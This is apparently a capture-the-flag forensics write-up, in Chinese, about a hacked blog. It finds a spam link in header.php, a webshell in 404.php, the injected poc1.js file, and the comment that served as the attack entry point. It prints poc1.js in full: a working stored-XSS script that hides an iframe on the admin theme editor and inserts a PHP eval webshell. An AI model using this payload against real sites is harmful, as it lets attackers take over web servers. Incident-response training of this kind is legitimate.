# 题目 1
找到黑链添加在哪个文件 flag 格式 flag {xxx.xxx}
一般添加在文件包含的地方,header,footer 等里面
主题下的 header 文件有东西
root@ip-10-0-10-4:/var/www/html/usr/themes/default# cat header.php | grep 黑 | |
<h3 style="text-align:center">模拟黑链</h3> |
flag: flag{header.php}
# 题目 2
webshell 的绝对路径 flag {xxxx/xxx/xxx/xxx/}
查杀到 webshell: /usr/themes/default/404.php
flag: flag{/var/www/html/usr/themes/default/404.php}
# 题目 3
黑客注入黑链文件的 md5 md5sum file flag {md5}
很明显就看到 poc1.js 了,打开查看就看到注入代码了
root@ip-10-0-10-4:/var/www/html# md5sum poc1.js | |
10c18029294fdec7b6ddab76d9367c14 poc1.js |
POC:
// 定义一个函数,在网页末尾插入一个iframe元素
function insertIframe() {
// 获取当前页面路径
var urlWithoutDomain = window.location.pathname;
// 判断页面是否为评论管理页面
var hasManageComments = urlWithoutDomain.includes("manage-comments.php");
var tSrc='';
if (hasManageComments){
// 如果是,则将路径修改为用于修改主题文件的页面地址
tSrc=urlWithoutDomain.replace('manage-comments.php','theme-editor.php?theme=default&file=404.php');
}else{
// 如果不是,则直接使用主题文件修改页面地址
tSrc='/admin/theme-editor.php?theme=default&file=404.php';
}
// 定义iframe元素的属性,包括id、src、width、height和onload事件
var iframeAttributes = "<iframe id='theme_id' src='"+tSrc+"' width='0%' height='0%' onload='writeShell()'></iframe>";
// 获取网页原始内容
var originalContent = document.body.innerHTML;
// 在网页末尾添加iframe元素
document.body.innerHTML = (originalContent + iframeAttributes);
}
// 定义一个全局变量isSaved,初始值为false
var isSaved = false;
// 定义一个函数,在iframe中写入一段PHP代码并保存
function writeShell() {
// 如果isSaved为false
if (!isSaved) {
// 获取iframe内的内容区域和“保存文件”按钮元素
var content = document.getElementById('theme_id').contentWindow.document.getElementById('content');
var btns = document.getElementById('theme_id').contentWindow.document.getElementsByTagName('button');
// 获取模板文件原始内容
var oldData = content.value;
// 在原始内容前加入一段phpinfo代码
content.value = ('<?php @eval($_POST[a]); ?>\n') + oldData;
// 点击“保存文件”按钮
btns[1].click();
// 将isSaved设为true,表示已经完成写入操作
isSaved = true;
}
}
// 调用insertIframe函数,向网页中添加iframe元素和写入PHP���码的事件
flag: flag{10c18029294fdec7b6ddab76d9367c14}
# 题目 4
攻击入口是哪里?url 请求路径,最后面加 /flag {/xxxx.xxx/xxxx/x/}
网站目录下存在一个 pcap 文件,是通过 poc1.js 注入的,打开搜搜一下这个流量
在这里插入了 poc1.js,可以看到是第一个文章中的评论,于是就知道入口地址是这里了。
flag: flag{/index.php/archives/1/}